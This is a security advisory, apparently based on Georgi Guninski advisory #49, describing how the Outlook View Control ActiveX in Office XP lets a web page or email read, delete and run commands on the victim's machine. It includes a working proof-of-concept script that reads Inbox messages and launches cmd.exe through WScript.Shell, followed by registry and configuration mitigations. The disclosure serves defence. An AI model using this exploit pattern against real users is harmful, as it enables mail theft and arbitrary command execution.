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Vulnerability MS Office XP Affected MS Office XP Description Following is based on a Georgi Guninski security advisory #49. If a user visits a specially designed html page with IE or opens or previews a message with Outlook XP arbitrary commands may be executed on his computer. This may lead to taking full control over user's computer. Using another approach to this bug allows reading, modifying and deleting messages in user's Outlook XP folders. The problem is again ActiveX. This time Office XP seems to install a malicous ActiveX control - "Microsoft Outlook View Control". This control exposes property named "selection" which gives access to user's mail messages. It also exposes the Outlook "Application" object which may lead to execution of arbitrary programs of the user's computer. Examine the script below for more information. This assumes you have at least one message in Outlook XP's Inbox: <br> <object id="o1" classid="clsid:0006F063-0000-0000-C000-000000000046" > <param name="folder" value="Inbox"> </object> <script> function f() { //alert(o2.object); sel=o1.object.selection; vv1=sel.Item(1); alert("Subject="+vv1.Subject); alert("Body="+vv1.Body+"["+vv1.HTMLBody+"]"); alert("May be deleted"); //vv1.Delete(); vv2=vv1.Session.Application.CreateObject("WScript.Shell"); alert("Much more fun is possible"); vv2.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ "); } setTimeout("f()",2000); </script> Solution Uninstall Office XP and Windows ;) Those brave should take any or all of the following steps; 1. Install the Outlook Email Security Update. http://office.microsoft.com/downloads/2000/Out2ksec.aspx 2. Ensure that Outlook is using the Restricted Sites Zone for its security. Outlook XP [HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\General] "Security Zone"=dword:00000004 Outlook 2000 [HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\General] "Security Zone"=dword:00000004 Outlook 98 [HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Outlook\Options\General] "Security Zone"=dword:00000004 3. Ensure that "Run ActiveX controls and plug-ins" is set to Disabled. 4. Remove or rename the affected control, OUTLCTL.DLL. This file will likely be found in the; \Program Files\Microsoft Office\Office directory. It is not covered by Windows File Protection so it will not automatically be restored. 5. In Outlook 2000 and Outlook XP environments, establish a client rule to automatically handle files with script in them. Look for keywords such as <script>, <vbscript>, <object, etc... and quarantine or delete them. The MS Security Bulletin is MS01-038: http://www.microsoft.com/technet/security/bulletin/MS01-038.asp